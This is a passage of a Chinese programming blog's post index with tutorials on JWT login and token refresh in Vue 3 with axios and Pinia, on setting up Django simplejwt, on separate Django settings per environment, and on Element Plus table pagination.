(error) { console.log(error); if (\u0026#34;username\u0026#34; in error) { that.err_username = error.username[0]; } else if (\u0026#34;password\u0026#34; in error) { that.err_password = error.password[0]; } else { ElMessage.error(\u0026#39;登录失败！\u0026#39;); } }); }, } }; \u0026lt;/script\u0026gt; \u0026lt;style scoped\u0026gt; .loginContainer{ border-radius: 15px; background-clip: padding-box; text-align: left; margin: auto; margin-top: 180px; width: 450px; padding: 15px 35px 15px 35px; background: aliceblue; border:1px solid blueviolet; box-shadow: 0 0 25px #f885ff; } .loginTitle{ margin: 0px auto 48px auto; text-align: center; font-size: 40px; } .loginRemember{ text-align: left; margin: 0px 0px 15px 0px; } .loginbody{ width: 100vw; height: 100vh; background-size:100%; overflow: hidden; } \u0026lt;/style\u0026gt; 在登录时调用getToken()方法获取jwt的token getToken的封装方法如下：\n1 2 3 4 5 6 7 8 9 import request from \u0026#39;@/utils/request\u0026#39; export function getToken(data) { return request({ url: \u0026#39;token/\u0026#39;, method: \u0026#39;post\u0026#39;, data }) } 通过用户名和密码鉴权可以获得JWT的token，接口会返回access的token和refresh的token，需要将这两个token保存下来，access的token用来进行API接口的jwt认证，refresh的token用来刷新失效的access的token。\n二、将JWT保存至本地 通过pinia将token保存至浏览器的本地存储，以便于后面请求API时带上访问的token\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 import { defineStore } from \u0026#39;pinia\u0026#39; import { refreshToken } from \u0026#39;../api/user\u0026#39; export const useUserStore = defineStore(\u0026#39;user\u0026#39;, { persist: { enabled: true, //开启数据持久化 strategies: [ { key: \u0026#34;userState\u0026#34;, //给一个要保存的名称 storage: localStorage, //sessionStorage / localStorage 存储方式 }, ], }, state: () =\u0026gt; ({ isLoggedIn: false, username: \u0026#39;\u0026#39;, jwtAccessToken: null, jwtRefreshToken: null, }), actions: { login(username, accessToken,refreshToken) { this.username = username this.isLoggedIn = true this.setToken(accessToken, refreshToken) }, logout() { this.username = \u0026#39;\u0026#39; this.jwtAccessToken = null this.isLoggedIn = false }, setToken(accessToken, refreshToken) { this.jwtAccessToken = accessToken this.jwtRefreshToken = refreshToken }, refreshToken() { return new Promise((resolve, reject) =\u0026gt; { refreshToken({\u0026#34;refresh\u0026#34;:this.jwtRefreshToken}).then((response) =\u0026gt; { this.setToken(response.access, this.jwtRefreshToken) resolve(response.access) console.log(\u0026#39;return refreshToken-----------\u0026#39;+response.access) }).catch((error) =\u0026gt; { reject(error) }) }) } }, getters: { getIsLoggedIn: (state) =\u0026gt; state.isLoggedIn, getUsername: (state) =\u0026gt; state.username, getUserAccessToken: (state) =\u0026gt; state.jwtAccessToken, getRefreshToken: (state) =\u0026gt; state.jwtRefreshToken, } }) 在登录的Login.vue组件中调用useUserStore().login(this.username,Response.access,Response.refresh)将用户名、access的token、refresh的token保存至浏览器的本地存储。\n三、请求API带上JWT 将axios的调用封装成request.js在调用API接口时带上JWT\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 import axios from \u0026#39;axios\u0026#39; import Router from \u0026#39;@/components/tools/Router\u0026#39; import { useUserStore } from \u0026#39;@/stores/user\u0026#39; import { ElMessage } from \u0026#39;element-plus\u0026#39; import { refreshToken } from \u0026#39;../api/user\u0026#39; const api_rul = import.meta.env.VITE_APP_API_URL // create an axios instance const service = axios.create({ baseURL: api_rul, timeout: 5000, // request timeout }) // request interceptor service.interceptors.request.use( config =\u0026gt; { // do something before request is sent const { url } = config // 指定页面访问需要JWT认证。 if (url.indexOf(\u0026#39;/login\u0026#39;)!== -1) { return config } let jwt = useUserStore().getUserAccessToken config.headers.Authorization = `Bearer ${jwt}` return config }, error =\u0026gt; { // do something with request error console.log(error) // for debug return Promise.reject(error) } ) export default service 主要是在请求头重带着jwt的信息\n1 2 let jwt = useUserStore().getUserAccessToken config.headers.Authorization = `Bearer ${jwt}` 四、在token失效时自动重新获取token 前面提到JWT基于安全考虑有两个token，一个是access token ,一个是refresh token 。access token的失效时间较短，可以有效降低泄露而造成的影响，两个token的区别和作用如下：\naccess token refresh token 有效时间 较短(如半小时) 较长(如一天) 作用 鉴权验证 重新获取access token 什么时候使用 每次接口鉴权验证时 access token失效时使用 使用refresh token的逻辑如下： 以下通过拦截器实现token失效后重新获取access token\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 import axios from \u0026#39;axios\u0026#39; import Router from \u0026#39;@/components/tools/Router\u0026#39; import { useUserStore } from \u0026#39;@/stores/user\u0026#39; import { ElMessage } from \u0026#39;element-plus\u0026#39; import { refreshToken } from \u0026#39;../api/user\u0026#39; const api_rul = import.meta.env.VITE_APP_API_URL // create an axios instance const service = axios.create({ baseURL: api_rul, timeout: 5000, // request timeout }) // request interceptor service.interceptors.request.use( config =\u0026gt; { // do something before request is sent const { url } = config // 指定页面访问需要JWT认证。 if (url.indexOf(\u0026#39;/login\u0026#39;)!== -1) { return config } let jwt = useUserStore().getUserAccessToken config.headers.Authorization = `Bearer ${jwt}` return config }, error =\u0026gt; { // do something with request error console.log(error) // for debug return Promise.reject(error) } ) // response interceptor service.interceptors.response.use( response =\u0026gt; { const res = response.data return res }, async error =\u0026gt; { console.log(\u0026#39;err\u0026#39; + error) // for debug const originalRequest = error.config; // 授权验证失败 if (error.response.status === 401 \u0026amp;\u0026amp; originalRequest._retry!== true) { originalRequest._retry = true; // 刷新token let jwtRefreshToken=useUserStore().getRefreshToken await refreshToken({\u0026#34;refresh\u0026#34;:jwtRefreshToken}).then((response) =\u0026gt; { // 刷新token成功，重新请求 let jwtToken=response.access useUserStore().setToken(jwtToken, jwtRefreshToken) console.log(\u0026#39;return refreshToken-----------\u0026#39;+response.access) originalRequest.headers.Authorization = `Bearer ${jwtToken}` return service(originalRequest) }).catch((error) =\u0026gt; { // 刷新token失败，跳转到登录页面 ElMessage.error(\u0026#39;请重新登录！\u0026#39;) Router.push({name:\u0026#39;login\u0026#39;}) }) } // 内部错误 if (error.response.status === 500) { let errormsg=error.response.data.msg ElMessage.error(\u0026#39;服务器内部错误！\u0026#39;+errormsg) } if (error.response.status === 400) { ElMessage.error(\u0026#39;错误的请求！\u0026#39;) } return Promise.reject(error) } ) export default service 在判断error.response.status === 401时调用refreshToken重新获取jwttoken进行接口的调用。\n博客地址：http://xiejava.ishareread.com/\n关注微信公众号,一起学习、成长！\n","permalink":"http://xiejava.ishareread.com/posts/2024-10-10-vue3%E5%AE%9E%E7%8E%B0%E7%99%BB%E5%BD%95%E8%8E%B7%E5%8F%96token%E5%B9%B6%E8%87%AA%E5%8A%A8%E5%88%B7%E6%96%B0token%E8%BF%9B%E8%A1%8Cjwt%E8%AE%A4%E8%AF%81/","summary":"\u003cp\u003e在\u003ca href=\"http://xiejava.ishareread.com/posts/ca8e72/\"\u003e《django应用JWT(JSON Web Token)实战》\u003c/a\u003e介绍了如何通过django实现JWT，并以一个具体API接口实例的调用来说明JWT如何使用。本文介绍如何通过vue3的前端应用来使用JWT认证调用后端的API接口，实现一下的登录认证获取JWT进行接口认证。\u003c/p\u003e","title":"vue3实现登录获取token并自动刷新token进行JWT认证"},{"content":"在前后端分离的项目中，前后端进行身份验证通常用JWT来进行，JWT 提供了一个理想的认证解决方案，用来保护 RESTful API，确保只有经过认证的用户才能访问受保护的资源。基于前端框架（如React, Angular, Vue.js）的单页面应用 (SPA)，开发者通过使用 JWT可以获得一种简单、安全、高效的方式来处理用户认证和授权的问题。本文通过django项目的实战来说明如何应用和使用JWT。\n一、什么是JWT JWT（JSON Web Token）是一种开放标准（RFC 7519），用于在网络各方之间以安全且紧凑的形式传输信息。JWT 是一个小型的凭证，通常用于身份验证和授权场景。JWT 由三部分组成：头部 (Header)、负载 (Payload) 和签名 (Signature)。 JWT信息由3段构成，它们之间用圆点“.”连接，格式如下：\n1 aaaaaa.bbbbbb.cccccc 一个典型的JWT如下所示：\n1 eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ0b2tlbl90eXBlIjoiYWNjZXNzIiwiZXhwIjoxNzI2OTcyMDc2LCJpYXQiOjE3MjY5NzAyNzYsImp0aSI6IjMyMTFiZjdmZDlhZTRmNTBhMDNmOGM2NjcwNDM2NjFiIiwidXNlcl9pZCI6Mn0.Ej6US4Uk-sSNm9P8kTU_cDAzBpO4I-BLhPstp5sG00Q 头部 (Header)：包含了关于 JWT 类型的信息以及所使用的签名算法。 负载 (Payload)：是 JWT 的主体部分，包含了实际需要声明的数据。这些数据通常包括用户ID、用户名、角色等信息。 签名 (Signature)：用于验证 JWT 的发送者就是它声称的发送者，同时也确保了 JWT 在传输过程中没有被篡改。 二、为什么使用JWT 使用 JWT 的原因主要有以下几点：\n安全性：JWT 通过签名来保证数据的完整性和防篡改性。如果有人试图修改 JWT 内容，签名会失效，接收方可以检测到这一行为。 无状态性：JWT 是自包含的，这意味着不需要在服务器上保存会话状态。每个 JWT 都包含了所有必要的信息，从而减少了对服务器端存储的需求。 跨域支持：JWT 可以轻松地在不同的域之间共享，这使得它非常适合微服务架构和分布式系统。 性能提升：由于 JWT 是自包含的，所以服务器可以快速地验证 JWT，而无需查询数据库来获取用户信息，这提高了应用的响应速度。 易于缓存和扩展：JWT 可以被缓存，并且因为它们是无状态的，所以可以很容易地扩展到多个服务器，而无需担心会话复制问题。 CSRF 防护：使用 JWT 可以帮助缓解跨站请求伪造（CSRF）攻击的风险，因为 JWT 不依赖于 cookie，也就不会随同 HTTP 请求自动发送。 总的来说，JWT 提供了一种高效、安全的方式来处理用户认证和授权，尤其是在需要跨域操作或构建无状态服务的情况下。\n三、在django项目中如何应用JWT JWT（JSON Web Token）是一种用于在网络应用中安全地传输信息的令牌。它通常用于身份验证和授权，特别是在单页应用（SPA）和API服务中。在Django中应用JWT，可以使用 djangorestframework-simplejwt。\n1、安装djangorestframework-simplejwt库： 1 pip install djangorestframework-simplejwt 2、在settings.py中配置JWT认证： 在INSTALLED_APPS中添加rest_framework_simplejwt的应用\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 INSTALLED_APPS = [ \u0026#39;blog\u0026#39;, \u0026#39;django.contrib.admin\u0026#39;, \u0026#39;django.contrib.auth\u0026#39;, \u0026#39;django.contrib.contenttypes\u0026#39;, \u0026#39;django.contrib.sessions\u0026#39;, \u0026#39;django.contrib.messages\u0026#39;, \u0026#39;django.contrib.staticfiles\u0026#39;, \u0026#39;rest_framework\u0026#39;, \u0026#39;rest_framework_simplejwt\u0026#39;, # 添加 simplejwt 应用 \u0026#39;django_filters\u0026#39;, # 注册条件查询 \u0026#39;mdeditor\u0026#39;, # 注册markdown的应用 \u0026#39;drf_yasg2\u0026#39;, # 接口文档 ] 添加REST_FRAMEWORK的默认认证类为JWT认证\n1 2 3 4 5 REST_FRAMEWORK = { \u0026#39;DEFAULT_AUTHENTICATION_CLASSES\u0026#39;: [ \u0026#39;rest_framework_simplejwt.authentication.JWTAuthentication\u0026#39;, ], } 添加SIMPLE_JWT的相关配置\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 # JWT 相关设置 SIMPLE_JWT = { \u0026#39;ACCESS_TOKEN_LIFETIME\u0026#39;: timedelta(minutes=30), # 访问令牌的有效时间 \u0026#39;REFRESH_TOKEN_LIFETIME\u0026#39;: timedelta(days=1), # 刷新令牌的有效时间 \u0026#39;ROTATE_REFRESH_TOKENS\u0026#39;: False, # 是否允许刷新令牌循环 \u0026#39;BLACKLIST_AFTER_ROTATION\u0026#39;: True, # 刷新令牌后是否加入黑名单 \u0026#39;UPDATE_LAST_LOGIN\u0026#39;: False, # 登录时是否更新最后登录时间 \u0026#39;ALGORITHM\u0026#39;: \u0026#39;HS256\u0026#39;, # 签名算法 \u0026#39;SIGNING_KEY\u0026#39;: SECRET_KEY, # 签名密钥 \u0026#39;VERIFYING_KEY\u0026#39;: None, # 验证密钥 \u0026#39;AUDIENCE\u0026#39;: None, # 观众 \u0026#39;ISSUER\u0026#39;: None, # 发行人 \u0026#39;JWK_URL\u0026#39;: None, # JWK URL \u0026#39;LEEWAY\u0026#39;: 0, # 宽限期 \u0026#39;AUTH_HEADER_TYPES\u0026#39;: (\u0026#39;Bearer\u0026#39;,), # 授权头类型 \u0026#39;AUTH_HEADER_NAME\u0026#39;: \u0026#39;HTTP_AUTHORIZATION\u0026#39;, # 授权头名称 \u0026#39;USER_ID_FIELD\u0026#39;: \u0026#39;id\u0026#39;, # 用户 ID 字段 \u0026#39;USER_ID_CLAIM\u0026#39;: \u0026#39;user_id\u0026#39;, # 用户 ID 声明 \u0026#39;USER_AUTHENTICATION_RULE\u0026#39;: \u0026#39;rest_framework_simplejwt.authentication.default_user_authentication_rule\u0026#39;, \u0026#39;AUTH_TOKEN_CLASSES\u0026#39;: (\u0026#39;rest_framework_simplejwt.tokens.AccessToken\u0026#39;,), # 认证令牌类 \u0026#39;TOKEN_TYPE_CLAIM\u0026#39;: \u0026#39;token_type\u0026#39;, # 令牌类型声明 \u0026#39;TOKEN_USER_CLASS\u0026#39;: \u0026#39;rest_framework_simplejwt.models.TokenUser\u0026#39;, \u0026#39;SLIDING_TOKEN_REFRESH_EXP_CLAIM\u0026#39;: \u0026#39;refresh_exp\u0026#39;, # 滑动令牌刷新过期声明 \u0026#39;SLIDING_TOKEN_LIFETIME\u0026#39;: timedelta(minutes=5), # 滑动令牌有效时间 \u0026#39;SLIDING_TOKEN_REFRESH_LIFETIME\u0026#39;: timedelta(days=1), # 滑动令牌刷新有效时间 } 3、在urls.py中配置JWT的获取和刷新路由： 1 2 3 4 5 6 7 from django.urls import path from rest_framework_simplejwt.views import (TokenObtainPairView, TokenRefreshView) urlpatterns = [ path(\u0026#39;token/\u0026#39;, TokenObtainPairView.as_view(), name=\u0026#39;token_obtain_pair\u0026#39;), path(\u0026#39;token/refresh/\u0026#39;, TokenRefreshView.as_view(), name=\u0026#39;token_refresh\u0026#39;), # 其他路由... ] 4、在视图中需要认证的地方使用JWT认证 如下modelviweset中使用，对于查询方法如list，retrieve不做鉴权，对于其他方法需要鉴权。\n1 2 3 4 5 6 7 8 9 10 11 def get_permissions(self): \u0026#34;\u0026#34;\u0026#34; Instantiates and returns the list of permissions that this view requires. \u0026#34;\u0026#34;\u0026#34; if self.action in [\u0026#39;list\u0026#39;, \u0026#39;retrieve\u0026#39;]: # 对于list方法，返回AllowAny权限类，表示不需要鉴权 permission_classes = [AllowAny, ] else: # 对于其他方法，返回IsAuthenticated权限类，表示需要用户已认证 permission_classes = [IsAuthenticated, ] return [permission() for permission in permission_classes] 四、JWT如何使用 通过上面的应用后，使用接口调用遇到需要鉴权的会提示需要认证。 如当我们调用删除接口时，如果没有获得鉴权，接口会返回需要认证的信息。 那如何通过JWT进行认证呢？ 下面通过postman来应用JWT的使用过程。\n1、调用生成JWT的接口获取JWT 2、客户端保存JWT在调用接口时带上获取的JWT 至此，本文介绍了什么时JWT，为什么要使用JWT，通过django实现JWT，介绍了JWT的使用流程，最后以一个具体API接口实例的调用来说明JWT如何使用。后续将介绍VUE从前端登录获取JWT到JWT认证的实例。\n博客地址：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2024-09-22-django%E5%BA%94%E7%94%A8jwtjsonwebtoken%E5%AE%9E%E6%88%98/","summary":"\u003cp\u003e在前后端分离的项目中，前后端进行身份验证通常用JWT来进行，JWT 提供了一个理想的认证解决方案，用来保护 RESTful API，确保只有经过认证的用户才能访问受保护的资源。基于前端框架（如React, Angular, Vue.js）的单页面应用 (SPA)，开发者通过使用 JWT可以获得一种简单、安全、高效的方式来处理用户认证和授权的问题。本文通过django项目的实战来说明如何应用和使用JWT。\u003c/p\u003e","title":"django应用JWT(JsonWebToken)实战"},{"content":"任何实际的软件项目中都要经过开发、测试、然后上生产的阶段，在开发、测试的过程中往往会要频繁的切换开发、测试、生产等不同的环境。每个环境的配置有可能不一样，本文介绍如何实现django项目配置环境变量实现开发、测试、生产灵活便捷的切换。\n一、为什么要区分开发 (dev)、测试 (test) 和生产 (prod) 环境 在Django项目中区分开发、测试和生产环境是非常重要的，这主要是因为不同环境在多个方面存在显著差异。 ● 开发环境：通常配置为易于开发和调试，比如开启调试模式（DEBUG = True），这样可以提供更详细的错误信息和页面跟踪，方便开发者定位问题。同时，开发环境可能使用本地数据库或内存数据库，以便快速启动和测试。 ● 测试环境：配置为模拟生产环境，但用于自动化测试。测试环境需要确保测试的独立性和一致性，以便准确地评估应用程序在类似生产条件下的表现。测试环境通常使用与生产环境相同或相似的数据库设置，但数据是测试专用的。 ● 生产环境：配置为高性能、高可用性和高安全性。关闭调试模式，优化数据库连接和缓存策略，确保应用程序能够处理大量并发请求和保障数据的安全。 通过区分这些环境，开发者可以更有效地管理django项目，确保每个环境都能满足其特定的需求，从而提高开发效率、保障数据安全和提升用户体验。\n二、django项目如何通过配置实现环境配置的区分 对于django项目实现开发（dev）、测试(test)和生产(prod)环境的配置分离可以通过使用不同的设置文件实现。 下面，我们以一个实例来介绍在django的项目如何通过使用不同的设置文件的方式区分不同的环境。\n1、针对不同的环境创建不同的设置文件settings.py 针对不同的环境创建不同的设置文件，如开发环境settings_dev.py ,测试环境setting_test.py，正式生产环境使用默认的setting.py，对于共性的配置可以抽取到base.py中，其他的设置文件可以继承base.py中的配置，只有实现各个环境特有的设置就可以了。 创建设置文件的目录结构如下图所示。\n2、在设置文件中根据需要进行配置区分 典型的，如开发环境settings_dev.py用的本地数据库并开启debug模式、测试环境setting_test.py用sqlite3数据库开启debug模式。 注意：其他的设置文件要继承base.py中的配置，需要加入from .base import * 参考配置如下： setting_test.py\n1 2 3 4 5 6 7 8 9 10 11 12 13 from .base import * # SECURITY WARNING: don\u0026#39;t run with debug turned on in production! DEBUG = True ALLOWED_HOSTS = [] DATABASES = { \u0026#39;default\u0026#39;: { \u0026#39;ENGINE\u0026#39;: \u0026#39;django.db.backends.sqlite3\u0026#39;, \u0026#39;NAME\u0026#39;: os.path.join(BASE_DIR, \u0026#39;test_db.sqlite3\u0026#39;), } } setting_dev.py\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from .base import * # SECURITY WARNING: don\u0026#39;t run with debug turned on in production! DEBUG = True ALLOWED_HOSTS = [\u0026#39;127.0.0.1\u0026#39;, \u0026#39;localhost\u0026#39;,\u0026#39;ishareblog.com\u0026#39;] DATABASES = { \u0026#39;default\u0026#39;: { \u0026#39;ENGINE\u0026#39;: \u0026#39;django.db.backends.mysql\u0026#39;, \u0026#39;NAME\u0026#39;: \u0026#39;ishareblog_test\u0026#39;, \u0026#39;USER\u0026#39;: \u0026#39;ishareblog\u0026#39;, \u0026#39;PASSWORD\u0026#39;: \u0026#39;yourpassword\u0026#39;, \u0026#39;HOST\u0026#39;: \u0026#39;127.0.0.1\u0026#39;, \u0026#39;PORT\u0026#39;: \u0026#39;3306\u0026#39;, # 1、取消外键约束，否则多对多模型迁移报django.db.utils.IntegrityError: (1215, \u0026#39;Cannot add foreign key constraint\u0026#39;)； # 2、解决字符串4个字节的utf8编码的字符报错的问题 \u0026#39;OPTIONS\u0026#39;: { \u0026#39;charset\u0026#39;: \u0026#39;utf8mb4\u0026#39;,\u0026#34;init_command\u0026#34;: \u0026#34;SET foreign_key_checks = 0;\u0026#34;, } } } 3、根据不同的环境运行使用不同的设置文件 不同的环境有了不同的设置文件后，就可以在不同的环境运行和使用配置文件。 如生产环境使用的wsgi启动的服务，可以在wsgi.py文件中指定使用生产环境的配置文件\n在开发环境中使用manage.py启动服务的，可以修改manage.py将设置文件改为setting_dev 也可以通过命令行指定设置文件 python manage.py runserver --settings=ishareblog.settings_dev 如果时通过IDE启动，可以在IDE中指定使用的环境设置文件。 如下图所示：\n如要使用测试环境的设置文件，可以配置成ishareblog.settings_test，或通过命令行指定设置文件 python manage.py runserver --settings=ishareblog.settings_test\n至此，本文详细的介绍了通过不同的设置文件来区分配置开发、测试、生产环境的配置及如何根据不同的环境使用不同的设置文件。解决不同环境去频繁修改settings.py环境设置的问题。\n博客地址：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2024-09-16-django%E5%AE%9E%E7%8E%B0%E5%BC%80%E5%8F%91%E6%B5%8B%E8%AF%95%E7%94%9F%E4%BA%A7%E7%8E%AF%E5%A2%83%E9%85%8D%E7%BD%AE%E5%8C%BA%E5%88%86/","summary":"\u003cp\u003e任何实际的软件项目中都要经过开发、测试、然后上生产的阶段，在开发、测试的过程中往往会要频繁的切换开发、测试、生产等不同的环境。每个环境的配置有可能不一样，本文介绍如何实现django项目配置环境变量实现开发、测试、生产灵活便捷的切换。\u003c/p\u003e","title":"django实现开发、测试、生产环境配置区分"},{"content":"Element Plus 是一个基于 Vue 3 的现代化 UI 组件库，旨在帮助开发者快速构建美观且功能丰富的 Web 应用程序。它提供了大量的 UI 组件，如按钮、表单、表格、弹出框、标签页、树形控件等，涵盖了 Web 应用开发中常见的大多数场景。本文通过一个实例来说明vue3+elementplus查询、展示和分页实战。\n一、Element Plus的安装使用 要开始使用 Element Plus，首先需要在项目中安装它。如果你正在使用 Vue 3 的项目，可以通过 npm 或 yarn 安装 Element Plus：\n1 npm install element-plus 然后可以在Vue 项目中全局引入 Element Plus：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import { createApp } from \u0026#39;vue\u0026#39; import App from \u0026#39;./App.vue\u0026#39; // 导入路由 import Router from \u0026#39;./components/tools/Router\u0026#39; // 导入ElementPlus import ElementPlus from \u0026#39;element-plus\u0026#39; import \u0026#39;element-plus/dist/index.css\u0026#39; import * as ElementPlusIconsVue from \u0026#39;@element-plus/icons-vue\u0026#39; const app = createApp(App) // 遍历ElementPlusIconsVue中的所有组件进行祖册 for (const [key, component] of Object.entries(ElementPlusIconsVue)) { // 向应用实例中全局注册图标组件 app.component(key, component) } app.use(ElementPlus) // 使用ElementPlus app.use(Router); // 使用路由 app.mount(\u0026#39;#app\u0026#39;) 二、el-table 表格组件 el-table 是Element Plus 中的一个重要组件，用于展示列表数据。可以通过 组件来定义表格中的每一列，包括列标题、列宽、对齐方式等,可以结合 el-pagination 可以实现分页功能。示例代码如下：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 \u0026lt;el-table ref=\u0026#34;multipleTable\u0026#34; :data=\u0026#34;postList\u0026#34; tooltip-effect=\u0026#34;dark\u0026#34; style=\u0026#34;width: 100%\u0026#34; fit :pagination=\u0026#34;pagination\u0026#34; @selection-change=\u0026#34;handleSelectionChange\u0026#34; \u0026gt; \u0026lt;el-table-column type=\u0026#34;selection\u0026#34; width=\u0026#34;55\u0026#34;\u0026gt; \u0026lt;/el-table-column\u0026gt; \u0026lt;el-table-column label=\u0026#34;ID\u0026#34; width=\u0026#34;100\u0026#34; prop=\u0026#34;id\u0026#34;\u0026gt; \u0026lt;/el-table-column\u0026gt; \u0026lt;el-table-column label=\u0026#34;标题\u0026#34; width=\u0026#34;450\u0026#34; prop=\u0026#34;title\u0026#34;\u0026gt; \u0026lt;/el-table-column\u0026gt; \u0026lt;el-table-column label=\u0026#34;是否置顶\u0026#34; width=\u0026#34;100\u0026#34; prop=\u0026#34;isTop\u0026#34;\u0026gt; \u0026lt;/el-table-column\u0026gt; \u0026lt;el-table-column label=\u0026#34;热度\u0026#34; width=\u0026#34;100\u0026#34; prop=\u0026#34;viewsCount\u0026#34;\u0026gt; \u0026lt;/el-table-column\u0026gt; \u0026lt;el-table-column label=\u0026#34;发布时间\u0026#34; width=\u0026#34;200\u0026#34; prop=\u0026#34;pubTime\u0026#34;\u0026gt; \u0026lt;/el-table-column\u0026gt; \u0026lt;el-table-column label=\u0026#34;操作\u0026#34; \u0026gt; \u0026lt;template #default=\u0026#34;scope\u0026#34;\u0026gt; \u0026lt;el-button size=\u0026#34;mini\u0026#34; type=\u0026#34;danger\u0026#34; @click=\u0026#34;deleteItem(scope.$index)\u0026#34;\u0026gt;删除\u0026lt;/el-button\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;/el-table-column\u0026gt; \u0026lt;/el-table\u0026gt; 其中 :data=\u0026quot;postList\u0026quot; 绑定要显示在表格中的数据源，通常是一个对象数组 fit: 让表格宽度自动填充父容器。 :pagination=\u0026quot;pagination\u0026quot; 绑定分页的数据对象\n数据定义如下：\n1 2 3 4 5 6 7 8 9 // 博客文章列表数据 postList:[], // 分页 pagination: { currentPage: 1, // 当前页 pageSize: 10, // 每页显示条数 total: 0, // 总条数 layout: \u0026#39;total,sizes,prev, pager, next, jumper\u0026#39;, // 分页布局 }, 三、el-pagination 分页组件 el-pagination Element Plus 中用于实现分页功能的重要组件。它可以与 el-table 组件结合使用，实现数据的分页显示。示例代码如下：\n1 2 3 4 5 6 7 8 9 \u0026lt;el-pagination @size-change=\u0026#34;handleSizeChange\u0026#34; @current-change=\u0026#34;handleCurrentChange\u0026#34; :current-page=\u0026#34;pagination.currentPage\u0026#34; :page-sizes=\u0026#34;[10, 20, 30, 40]\u0026#34; :page-size=\u0026#34;pagination.pageSize\u0026#34; layout=\u0026#34;total, sizes, prev, pager, next, jumper\u0026#34; :total=\u0026#34;pagination.total\u0026#34;\u0026gt; \u0026lt;/el-pagination\u0026gt; 属性 ● @size-change=\u0026quot;handleSizeChange\u0026quot; 当每页显示数量变化时触发。 ● @current-change=\u0026quot;handleCurrentChange\u0026quot; 当当前页变化时触发。 ● :current-page=\u0026quot;currentPage\u0026quot; 设置当前页。 ● :page-sizes=\u0026quot;[10, 20, 30, 40]\u0026quot; 设置每页可选的数量。 ● :page-size=\u0026quot;pageSize\u0026quot; 设置每页显示的数量。 ● layout=\u0026quot;total, sizes, prev, pager, next, jumper\u0026quot; 设置分页布局。 ● :total=\u0026quot;tableData.length\u0026quot; 设置总数据量。 方法： ● handleSelectionChange(val) 处理行选择变化。 ● deleteItem(index) 删除指定行。 ● handleSizeChange(val) 处理每页显示数量变化。 ● handleCurrentChange(val) 处理当前页变化。\n四、全部代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 \u0026lt;template\u0026gt; \u0026lt;div class=\u0026#34;content-container\u0026#34; direction=\u0026#34;vertical\u0026#34;\u0026gt; \u0026lt;!-- input --\u0026gt; \u0026lt;div\u0026gt; \u0026lt;el-container class=\u0026#34;content-row\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;input-tip\u0026#34;\u0026gt; 文章标题: \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;input-field\u0026#34; style=\u0026#34;width: 400px;\u0026#34;\u0026gt; \u0026lt;el-input v-model=\u0026#34;queryParam.words\u0026#34;\u0026gt;\u0026lt;/el-input\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;el-button type=\u0026#34;primary\u0026#34; @click=\u0026#34;getBlogList\u0026#34;\u0026gt;筛选\u0026lt;/el-button\u0026gt; \u0026lt;el-button type=\u0026#34;danger\u0026#34; @click=\u0026#34;clear\u0026#34;\u0026gt;清空筛选\u0026lt;/el-button\u0026gt; \u0026lt;/el-container\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;!-- list --\u0026gt; \u0026lt;div\u0026gt; \u0026lt;el-tabs type=\u0026#34;card\u0026#34; @tab-click=\u0026#34;handleClick\u0026#34;\u0026gt; \u0026lt;el-tab-pane label=\u0026#34;全部\u0026#34;\u0026gt;\u0026lt;/el-tab-pane\u0026gt; \u0026lt;el-tab-pane v-for=\u0026#34;(item,index) in blogCategorys\u0026#34; :key=\u0026#34;index\u0026#34; :label=\u0026#34;item.title\u0026#34; :name=\u0026#34;item.id\u0026#34;\u0026gt; \u0026lt;/el-tab-pane\u0026gt; \u0026lt;/el-tabs\u0026gt; \u0026lt;el-table ref=\u0026#34;multipleTable\u0026#34; :data=\u0026#34;postList\u0026#34; tooltip-effect=\u0026#34;dark\u0026#34; style=\u0026#34;width: 100%\u0026#34; fit :pagination=\u0026#34;pagination\u0026#34; @selection-change=\u0026#34;handleSelectionChange\u0026#34; \u0026gt; \u0026lt;el-table-column type=\u0026#34;selection\u0026#34; width=\u0026#34;55\u0026#34;\u0026gt; \u0026lt;/el-table-column\u0026gt; \u0026lt;el-table-column label=\u0026#34;ID\u0026#34; width=\u0026#34;100\u0026#34; prop=\u0026#34;id\u0026#34;\u0026gt; \u0026lt;/el-table-column\u0026gt; \u0026lt;el-table-column label=\u0026#34;标题\u0026#34; width=\u0026#34;450\u0026#34; prop=\u0026#34;title\u0026#34;\u0026gt; 